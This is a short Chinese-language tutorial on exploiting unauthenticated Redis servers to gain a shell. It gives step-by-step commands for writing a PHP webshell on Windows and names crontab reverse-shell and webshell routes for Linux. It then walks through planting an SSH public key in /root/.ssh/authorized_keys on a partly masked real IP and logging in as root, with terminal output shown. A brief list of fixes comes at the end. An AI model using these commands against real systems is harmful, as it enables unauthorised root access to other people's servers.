Redis未授权漏洞利用方式

总结一下redis未授权拿shell:

redis-cli -h ip

>info 查看系统类型

 

Windows：

1.找网站绝对路径
2.config set dir 绝对路径根路径

config get dir

config set dbfilename indexbak.php

set webshell "<?php phpinfo();?>"

save

 

Linux系统：

第一种：写密钥

第二种：写crotab反弹shell

第三种：找绝对路径写webshell

 

1）本地生成秘钥

root@GanDolf:~# ssh-keygen  -t rsa

 

2）将公钥写入一个文件

root@GanDolf:~# cd /root/.ssh/

root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

3）连接redis写入文件root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

OK
root@GanDolf:~/.ssh# redis-cli  -h 210.73.90.xxx

210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh

4）连接服务器

root@GanDolf:~/.ssh# ssh -i id_rsa [email protected]

 

 

修复建议：

1）修改默认端口

2）监听本地端口

3）使用非root启动，否则出现漏洞1，直接拿到root权限

4）修改配置文件，禁用相关命令